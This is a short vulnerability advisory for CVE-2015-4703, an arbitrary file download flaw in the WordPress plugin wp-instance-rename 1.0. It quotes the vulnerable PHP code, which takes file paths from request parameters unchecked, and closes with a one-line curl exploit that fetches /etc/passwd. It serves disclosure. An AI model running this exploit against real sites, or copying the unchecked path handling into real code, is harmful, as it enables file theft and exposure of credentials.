WordPress WP-Instance-Rename 1.0 File Download

`Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0  
Author: Larry W. Cashdollar, @_larry0  
Date: 2015-06-12  
Download Site: https://wordpress.org/plugins/wp-instance-rename/  
Vendor: Vlajo  
Vendor Notified: 2015-06-12  
Advisory: http://www.vapid.dhs.org/advisory.php?v=127  
Vendor Contact:  
Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page.  
Vulnerability:  
The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory:  
  
try{  
$dbname = $_GET["dbname"];  
$dumpfname = $_GET["dumpfname"];  
$backup_folder = $_GET["backup_folder"];   
}catch (Exception $e){}  
  
if(empty($backup_folder)){  
$backup_folder="backup/";  
}  
echo "$dumpfname";  
if (file_exists($dumpfname)) {   
// zip the dump file   
$name=$dbname . "_" . date("Y-m-d");   
$zipfname = $backup_folder.$name.".zip";  
$zip = new ZipArchive();   
if($zip->open($zipfname,ZIPARCHIVE::CREATE))   
{  
$zip->addFile($dumpfname,$dumpfname);  
$zip->close();  
}   
// read zip file and send it to standard output  
if (file_exists($zipfname)) {  
header('Content-Description: File Transfer');  
header('Content-Type: application/octet-stream');  
header('Content-Disposition: attachment; filename='.basename($zipfname));  
flush();  
readfile($zipfname);  
  
CVEID: 2015-4703  
OSVDB:  
Exploit Code:  
• curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip  
  
  
`